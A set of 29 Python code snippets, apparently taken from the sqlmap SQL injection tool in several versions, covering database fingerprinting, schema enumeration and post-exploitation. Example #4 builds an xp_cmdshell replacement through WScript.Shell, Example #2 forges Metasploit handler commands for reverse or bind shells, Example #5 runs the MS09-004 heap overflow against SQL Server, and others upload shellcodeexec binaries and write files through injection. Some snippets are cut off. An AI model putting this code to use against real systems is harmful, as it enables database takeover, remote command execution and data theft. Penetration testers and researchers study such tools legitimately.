Example #1
0
    def initEnv(self, mandatory=True, detailed=False, web=False):
        self.__initRunAs()

        if self.envInitialized:
            return

        if web:
            self.webInit()
        else:
            self.checkDbmsOs(detailed)

            if mandatory and not self.isDba():
                warnMsg = "the functionality requested might not work because "
                warnMsg += "the session user is not a database administrator"
                logger.warn(warnMsg)

            if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
                self.udfInjectSys()
            elif Backend.isDbms(DBMS.MSSQL):
                if mandatory:
                    self.xpCmdshellInit()
            else:
                errMsg = "feature not yet implemented for the back-end DBMS"
                raise sqlmapUnsupportedFeatureException(errMsg)

        self.envInitialized = True
Example #2
0
    def _forgeMsfCliCmd(self, exitfunc="process"):
        if kb.oldMsf:
            self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
            self._cliCmd += " EXITFUNC=%s" % exitfunc
            self._cliCmd += " LPORT=%s" % self.portStr

            if self.connectionStr.startswith("bind"):
                self._cliCmd += " RHOST=%s" % self.rhostStr
            elif self.connectionStr.startswith("reverse"):
                self._cliCmd += " LHOST=%s" % self.lhostStr
            else:
                raise SqlmapDataException("unexpected connection type")

            if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
                self._cliCmd += " DisableCourtesyShell=true"

            self._cliCmd += " E"
        else:
            self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
            self._cliCmd += "; set EXITFUNC %s" % exitfunc
            self._cliCmd += "; set LPORT %s" % self.portStr

            if self.connectionStr.startswith("bind"):
                self._cliCmd += "; set RHOST %s" % self.rhostStr
            elif self.connectionStr.startswith("reverse"):
                self._cliCmd += "; set LHOST %s" % self.lhostStr
            else:
                raise SqlmapDataException("unexpected connection type")

            if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
                self._cliCmd += "; set DisableCourtesyShell true"

            self._cliCmd += "; exploit'"
Example #3
0
    def getSchema(self):
        infoMsg = "enumerating database management system schema"
        logger.info(infoMsg)

        pushValue(conf.db)
        pushValue(conf.tbl)
        pushValue(conf.col)

        conf.db = None
        conf.tbl = None
        conf.col = None
        kb.data.cachedTables = {}
        kb.data.cachedColumns = {}

        self.getTables()

        infoMsg = "fetched tables: "
        infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
                   Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
                   else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
                   kb.data.cachedTables.items()])
        logger.info(infoMsg)

        for db, tables in kb.data.cachedTables.items():
            for tbl in tables:
                conf.db = db
                conf.tbl = tbl

                self.getColumns()

        conf.col = popValue()
        conf.tbl = popValue()
        conf.db = popValue()

        return kb.data.cachedColumns
Example #4
0
    def __xpCmdshellCreate(self):
        cmd = ""

        if Backend.isVersionWithin(("2005", "2008")):
            logger.debug("activating sp_OACreate")

            cmd += "EXEC master..sp_configure 'show advanced options', 1; "
            cmd += "RECONFIGURE WITH OVERRIDE; "
            cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
            cmd += "RECONFIGURE WITH OVERRIDE; "
            inject.goStacked(cmd)

        self.__randStr = randomStr(lowercase=True)

        cmd += "DECLARE @%s nvarchar(999); " % self.__randStr
        cmd += "set @%s='" % self.__randStr
        cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
        cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
        cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
        cmd += "EXEC sp_OADestroy @ID'; "
        cmd += "EXEC master..sp_executesql @%s;" % self.__randStr

        if Backend.isVersionWithin(("2005", "2008")):
            cmd += " RECONFIGURE WITH OVERRIDE;"

        inject.goStacked(cmd)
Example #5
0
    def osBof(self):
        if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
            return

        if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
            errMsg = "the back-end DBMS must be Microsoft SQL Server "
            errMsg += "2000 or 2005 to be able to exploit the heap-based "
            errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
            errMsg += "stored procedure (MS09-004)"
            raise SqlmapUnsupportedDBMSException(errMsg)

        infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
        infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
        infoMsg += "buffer overflow (MS09-004)"
        logger.info(infoMsg)

        msg = "this technique is likely to DoS the DBMS process, are you "
        msg += "sure that you want to carry with the exploit? [y/N] "
        inp = readInput(msg, default="N")

        if inp and inp[0].lower() == "y":
            dos = True
        else:
            dos = False

        if dos:
            self.initEnv(mandatory=False, detailed=True)
            self.getRemoteTempPath()
            self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
            self.bof()
Example #6
0
 def currentDb(self,data):
     if Backend.isDbms(DBMS.MAXDB):
         self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data)
     elif Backend.isDbms(DBMS.ORACLE):
         self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data)
     else:
         self.string("current database", data)
Example #7
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES):
            setDbms(DBMS.DB2)

            return True

        logMsg = "testing %s" % DBMS.DB2
        logger.info(logMsg)

        result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)")

        if result:
            logMsg = "confirming %s" % DBMS.DB2
            logger.info(logMsg)

            version = self._versionCheck()

            if version:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.DB2
            logger.warn(warnMsg)

            return False
Example #8
0
    def forgeQueryOutputLength(self, expression):
        lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
        select = re.search("\ASELECT\s+", expression, re.I)
        selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
        selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
        selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
        selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)

        _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)

        if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)):
            query = fieldsStr
        else:
            query = expression

        if selectDistinctExpr:
            lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                lengthExpr += " AS %s" % randomStr(lowercase=True)
        elif select:
            lengthExpr = expression.replace(query, lengthQuery % query, 1)
        else:
            lengthExpr = lengthQuery % expression

        return unescaper.escape(lengthExpr)
Example #9
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES):
            setDbms("%s %s" % (DBMS.H2, Backend.getVersion()))

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.H2
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("ZERO() IS 0")

        if result:
            infoMsg = "confirming %s" % DBMS.H2
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.H2
                logger.warn(warnMsg)

                return False
            else:
                setDbms(DBMS.H2)

                self.getBanner()

                return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.H2
            logger.warn(warnMsg)

            return False
Example #10
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
           or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \
           Backend.getVersion().isdigit():
            setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = "testing %s" % DBMS.SYBASE
        logger.info(infoMsg)

        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression("@@[email protected]@transtate")

        if result:
            infoMsg = "confirming %s" % DBMS.SYBASE
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("suser_id()=suser_id()")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.SYBASE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
            logger.info(infoMsg)

            result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)"))

            if result and result.isdigit():
                Backend.setVersion(str(result))
            else:
                for version in xrange(12, 16):
                    result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)

                    if result:
                        Backend.setVersion(str(version))
                        break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
            logger.warn(warnMsg)

            return False
Example #11
0
    def writeFile(self, localFile, remoteFile, fileType=None):
        self.checkDbmsOs()

        if localFile.endswith("_"):
            content = decloak(localFile)
            _ = os.path.split(localFile[:-1])[-1]
            prefix, suffix = os.path.splitext(_)
            handle, localFile = tempfile.mkstemp(prefix=prefix, suffix=suffix)
            os.close(handle)
            with open(localFile, "w+b") as f:
                f.write(content)

        if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
            if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
                debugMsg = "going to upload the %s file with " % fileType
                debugMsg += "stacked query SQL injection technique"
                logger.debug(debugMsg)

            self.stackedWriteFile(localFile, remoteFile, fileType)
            self.cleanup(onlyFileTbl=True)
        elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
            debugMsg = "going to upload the %s file with " % fileType
            debugMsg += "UNION query SQL injection technique"
            logger.debug(debugMsg)

            self.unionWriteFile(localFile, remoteFile, fileType)
        else:
            errMsg = "none of the SQL injection techniques detected can "
            errMsg += "be used to write files to the underlying file "
            errMsg += "system of the back-end %s server" % Backend.getDbms()
            logger.error(errMsg)

            return None
Example #12
0
    def _tableGetCount(self, db, table):
        if not db or not table:
            return None

        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            db = db.upper()
            table = table.upper()

        if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
            query = "SELECT %s FROM %s" % (
                queries[Backend.getIdentifiedDbms()].count.query % "*",
                safeSQLIdentificatorNaming(table, True),
            )
        else:
            query = "SELECT %s FROM %s.%s" % (
                queries[Backend.getIdentifiedDbms()].count.query % "*",
                safeSQLIdentificatorNaming(db),
                safeSQLIdentificatorNaming(table, True),
            )

        count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

        if isNumPosStrValue(count):
            if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
                kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}

            if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]:
                kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(
                    safeSQLIdentificatorNaming(table, True)
                )
            else:
                kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [
                    safeSQLIdentificatorNaming(table, True)
                ]
Example #13
0
def setHandler():
    """
    Detect which is the target web application back-end database
    management system.
    """

    count     = 0
    dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" )
    dbmsObj   = [
                  ( MYSQL_ALIASES, MySQLMap, MySQLConn ),
                  ( ORACLE_ALIASES, OracleMap, OracleConn ),
                  ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
                  ( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
                  ( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
                  ( ACCESS_ALIASES, AccessMap, AccessConn ),
                  ( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
                  ( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
                  ( SYBASE_ALIASES, SybaseMap, SybaseConn ),
                ]

    if Backend.getIdentifiedDbms() is not None:
        for i in xrange(len(dbmsObj)):
            dbmsAliases, _, _ = dbmsObj[i]

            if Backend.getIdentifiedDbms().lower() in dbmsAliases:
                if i > 0:
                    pushValue(dbmsObj[i])
                    dbmsObj.remove(dbmsObj[i])
                    dbmsObj.insert(0, popValue())

                break

    for dbmsAliases, dbmsMap, dbmsConn in dbmsObj:
        if conf.dbms and conf.dbms not in dbmsAliases:
            debugMsg  = "skipping test for %s" % dbmsNames[count]
            logger.debug(debugMsg)

            count += 1

            continue

        handler = dbmsMap()
        conf.dbmsConnector = dbmsConn()

        if conf.direct:
            logger.debug("forcing timeout to 10 seconds")
            conf.timeout = 10

            conf.dbmsConnector.connect()

        if handler.checkDbms():
            conf.dbmsHandler = handler

            break
        else:
            conf.dbmsConnector = None

    # At this point back-end DBMS is correctly fingerprinted, no need
    # to enforce it anymore
    Backend.flushForcedDbms()
Example #14
0
def setHandler():
    """
    Detect which is the target web application back-end database
    management system.
    """

    items = [
                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
            ]

    _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items)
    if _:
        items.remove(_)
        items.insert(0, _)

    for name, aliases, Handler, Connector in items:
        if conf.dbms and conf.dbms not in aliases:
            debugMsg = "skipping test for %s" % name
            logger.debug(debugMsg)
            continue

        handler = Handler()
        conf.dbmsConnector = Connector()

        if conf.direct:
            logger.debug("forcing timeout to 10 seconds")
            conf.timeout = 10

            dialect = DBMS_DICT[name][3]

            if dialect:
                sqlalchemy = SQLAlchemy(dialect=dialect)
                sqlalchemy.connect()

                if sqlalchemy.connector:
                    conf.dbmsConnector = sqlalchemy
                else:
                    conf.dbmsConnector.connect()
            else:
                conf.dbmsConnector.connect()

        if handler.checkDbms():
            conf.dbmsHandler = handler
            break
        else:
            conf.dbmsConnector = None

    # At this point back-end DBMS is correctly fingerprinted, no need
    # to enforce it anymore
    Backend.flushForcedDbms()
Example #15
0
    def uploadShellcodeexec(self, web=False):
        self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec")

        if Backend.isOs(OS.WINDOWS):
            self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
        else:
            self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch())

        __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")

        self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
        self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))

        logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)

        if web:
            written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal)
        else:
            written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)

        if written is not True:
            errMsg = "there has been a problem uploading shellcodeexec, it "
            errMsg += "looks like the binary file has not been written "
            errMsg += "on the database underlying file system or an AV has "
            errMsg += "flagged it as malicious and removed it. In such a case "
            errMsg += "it is recommended to recompile shellcodeexec with "
            errMsg += "slight modification to the source code or pack it "
            errMsg += "with an obfuscator software"
            logger.error(errMsg)

            return False
        else:
            logger.info("shellcodeexec successfully uploaded")
            return True
Example #16
0
    def getRemoteTempPath(self):
        if not conf.tmpPath:
            if Backend.isOs(OS.WINDOWS):
                if conf.direct:
                    conf.tmpPath = "%TEMP%"
                else:
                    self.checkDbmsOs(detailed=True)

                    if Backend.getOsVersion() in ("2000", "NT"):
                        conf.tmpPath = "C:/WINNT/Temp"
                    elif Backend.isOs("XP"):
                        conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
                    else:
                        conf.tmpPath = "C:/Windows/Temp"
            else:
                conf.tmpPath = "/tmp"

        if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
            Backend.setOs(OS.WINDOWS)

        conf.tmpPath = normalizePath(conf.tmpPath)
        conf.tmpPath = ntToPosixSlashes(conf.tmpPath)

        hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)

        return conf.tmpPath
Example #17
0
    def initEnv(self, mandatory=True, detailed=False, web=False):
        self.__initRunAs()

        if self.envInitialized:
            return

        if web:
            self.webInit()
        else:
            self.checkDbmsOs(detailed)

            if mandatory and not self.isDba():
                warnMsg = "functionality requested probably does not work because "
                warnMsg += "the curent session user is not a database administrator"

                if not conf.dCred and Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.PGSQL ):
                    warnMsg += ". You can try to to use option '--dbms-cred' "
                    warnMsg += "to execute statements as a DBA user if you "
                    warnMsg += "were able to extract and crack a DBA "
                    warnMsg += "password by any mean"

                logger.warn(warnMsg)

            if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
                self.udfInjectSys()
            elif Backend.isDbms(DBMS.MSSQL):
                if mandatory:
                    self.xpCmdshellInit()
            else:
                errMsg = "feature not yet implemented for the back-end DBMS"
                raise sqlmapUnsupportedFeatureException(errMsg)

        self.envInitialized = True
Example #18
0
    def getBanner(self):
        if not conf.getBanner:
            return

        if kb.data.banner is None:
            infoMsg = "fetching banner"
            logger.info(infoMsg)

            if Backend.isDbms(DBMS.DB2):
                rootQuery = queries[DBMS.DB2].banner
                for query in (rootQuery.query, rootQuery.query2):
                    kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
                    if kb.data.banner:
                        break
            else:
                query = queries[Backend.getIdentifiedDbms()].banner.query
                kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))

            bannerParser(kb.data.banner)

            if conf.os and conf.os == "windows":
                kb.bannerFp["type"] = set(["Windows"])

            elif conf.os and conf.os == "linux":
                kb.bannerFp["type"] = set(["Linux"])

            elif conf.os:
                kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])])

            if conf.os:
                setOs()

        return kb.data.banner
Example #19
0
def bannerParser(banner):
    """
    This function calls a class to extract information from the given
    DBMS banner based upon the data in XML file
    """

    xmlfile = None

    if Backend.isDbms(DBMS.MSSQL):
        xmlfile = paths.MSSQL_XML
    elif Backend.isDbms(DBMS.MYSQL):
        xmlfile = paths.MYSQL_XML
    elif Backend.isDbms(DBMS.ORACLE):
        xmlfile = paths.ORACLE_XML
    elif Backend.isDbms(DBMS.PGSQL):
        xmlfile = paths.PGSQL_XML

    if not xmlfile:
        return

    checkFile(xmlfile)

    if Backend.isDbms(DBMS.MSSQL):
        handler = MSSQLBannerHandler(banner, kb.bannerFp)
        parseXmlFile(xmlfile, handler)

        handler = FingerprintHandler(banner, kb.bannerFp)
        parseXmlFile(paths.GENERIC_XML, handler)
    else:
        handler = FingerprintHandler(banner, kb.bannerFp)
        parseXmlFile(xmlfile, handler)
        parseXmlFile(paths.GENERIC_XML, handler)
Example #20
0
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    validPayload = None
    vector = None
    query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
    total = conf.uColsStop+1 - conf.uColsStart

    count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix)

    if count:
        if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
            query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]

        if count:
            query += ", %s" % conf.uChar

        if Backend.getIdentifiedDbms() in FROM_TABLE:
            query += FROM_TABLE[Backend.getIdentifiedDbms()]

        validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)

    return validPayload, vector
Example #21
0
    def getVersionFromBanner(self):
        if "dbmsVersion" in kb.bannerFp:
            return

        infoMsg = "detecting back-end DBMS version from its banner"
        logger.info(infoMsg)

        if Backend.isDbms(DBMS.MYSQL):
            first, last = 1, 6

        elif Backend.isDbms(DBMS.PGSQL):
            first, last = 12, 6

        elif Backend.isDbms(DBMS.MSSQL):
            first, last = 29, 9

        else:
            raise SqlmapUnsupportedFeatureException("unsupported DBMS")

        query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last)

        if conf.direct:
            query = "SELECT %s" % query

        kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query))
        kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "")
Example #22
0
def heuristicCheckDbms(injection):
    retVal = None

    if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
        pushValue(kb.injection)
        kb.injection = injection
        randStr1, randStr2 = randomStr(), randomStr()

        for dbms in getPublicTypeMembers(DBMS, True):
            Backend.forceDbms(dbms)

            if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
                if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
                    retVal = dbms
                    break

        Backend.flushForcedDbms()
        kb.injection = popValue()

    if retVal:
        infoMsg = "heuristic test showed that the back-end DBMS "
        infoMsg += "could be '%s' " % retVal
        logger.info(infoMsg)

    return retVal
Example #23
0
    def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
        written = False

        self.checkDbmsOs()

        if localFile.endswith('_'):
            localFile = decloakToTemp(localFile)

        if conf.direct or isStackingAvailable():
            if isStackingAvailable():
                debugMsg = "going to upload the %s file with " % fileType
                debugMsg += "stacked query SQL injection technique"
                logger.debug(debugMsg)

            written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
            self.cleanup(onlyFileTbl=True)
        elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
            debugMsg = "going to upload the %s file with " % fileType
            debugMsg += "UNION query SQL injection technique"
            logger.debug(debugMsg)

            written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
        else:
            errMsg = "none of the SQL injection techniques detected can "
            errMsg += "be used to write files to the underlying file "
            errMsg += "system of the back-end %s server" % Backend.getDbms()
            logger.error(errMsg)

            return None

        return written
Example #24
0
    def forgeQueryOutputLength(self, expression):
        lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
        select = re.search("\ASELECT\s+", expression, re.I)
        selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
        selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
        selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
        selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)

        if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)):
            if selectTopExpr:
                query = selectTopExpr.group(1)
            elif selectDistinctExpr:
                query = selectDistinctExpr.group(1)
            elif selectFromExpr:
                query = selectFromExpr.group(1)
            elif selectExpr:
                query = selectExpr.group(1)
        else:
            query = expression

        if ( select and re.search("\A(COUNT|LTRIM)\(", query, re.I) ) or len(query) <= 1:
            return query

        if selectDistinctExpr:
            lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression)

            if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
                lengthExpr += " AS %s" % randomStr(lowercase=True)
        elif select:
            lengthExpr = expression.replace(query, lengthQuery % query, 1)
        else:
            lengthExpr = lengthQuery % expression

        return unescaper.unescape(lengthExpr)
Example #25
0
 def currentDb(self, data):
     if Backend.isDbms(DBMS.MAXDB):
         self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=API_CONTENT_TYPE.CURRENT_DB)
     elif Backend.isDbms(DBMS.ORACLE):
         self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=API_CONTENT_TYPE.CURRENT_DB)
     else:
         self.string("current database", data, content_type=API_CONTENT_TYPE.CURRENT_DB)
Example #26
0
    def cleanup(self, onlyFileTbl=False, udfDict=None):
        """
        Cleanup database from sqlmap create tables and functions
        """

        if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
            return

        if Backend.isOs(OS.WINDOWS):
            libtype = "dynamic-link library"

        elif Backend.isOs(OS.LINUX):
            libtype = "shared object"

        else:
            libtype = "shared library"

        if onlyFileTbl:
            logger.debug("cleaning up the database management system")
        else:
            logger.info("cleaning up the database management system")

        logger.debug("removing support tables")
        inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True)
        inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True)

        if not onlyFileTbl:
            inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)

            if Backend.isDbms(DBMS.MSSQL):
                return

            if udfDict is None:
                udfDict = self.sysUdfs

            for udf, inpRet in udfDict.items():
                message = "do you want to remove UDF '%s'? [Y/n] " % udf
                output = readInput(message, default="Y")

                if not output or output in ("y", "Y"):
                    dropStr = "DROP FUNCTION %s" % udf

                    if Backend.isDbms(DBMS.PGSQL):
                        inp = ", ".join(i for i in inpRet["input"])
                        dropStr += "(%s)" % inp

                    logger.debug("removing UDF '%s'" % udf)
                    inject.goStacked(dropStr, silent=True)

            logger.info("database management system cleanup finished")

            warnMsg = "remember that UDF %s files " % libtype

            if conf.osPwn:
                warnMsg += "and Metasploit related files in the temporary "
                warnMsg += "folder "

            warnMsg += "saved on the file system can only be deleted "
            warnMsg += "manually"
            logger.warn(warnMsg)
Example #27
0
def _resumeOS():
    """
    Resume stored OS information from HashDB
    """

    value = hashDBRetrieve(HASHDB_KEYS.OS)

    if not value:
        return

    os = value

    if os and os != 'None':
        infoMsg = "resuming back-end DBMS operating system '%s' " % os
        logger.info(infoMsg)

        if conf.os and conf.os.lower() != os.lower():
            message = "you provided '%s' as back-end DBMS operating " % conf.os
            message += "system, but from a past scan information on the "
            message += "target URL sqlmap assumes the back-end DBMS "
            message += "operating system is %s. " % os
            message += "Do you really want to force the back-end DBMS "
            message += "OS value? [y/N] "
            test = readInput(message, default="N")

            if not test or test[0] in ("n", "N"):
                conf.os = os
        else:
            conf.os = os

        Backend.setOs(conf.os)
Example #28
0
    def uploadShellcodeexec(self, web=False):
        self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH

        if Backend.isOs(OS.WINDOWS):
            self.shellcodeexecLocal += "/windows/shellcodeexec.x%s.exe" % "32"
        else:
            self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch()

        # TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName
        # __basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
        __basename = os.path.basename(self.shellcodeexecLocal)

        if web:
            self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename)
        else:
            self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)

        self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))

        logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)

        if web:
            self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory)
        else:
            self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
Example #29
0
    def forgeCaseStatement(self, expression):
        """
        Take in input a query string and return its CASE statement query
        string.

        Example:

        Input:  (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
        Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)

        @param expression: expression to be processed
        @type num: C{str}

        @return: processed expression
        @rtype: C{str}
        """

        caseExpression = expression

        if Backend.getIdentifiedDbms() is not None:
            caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression

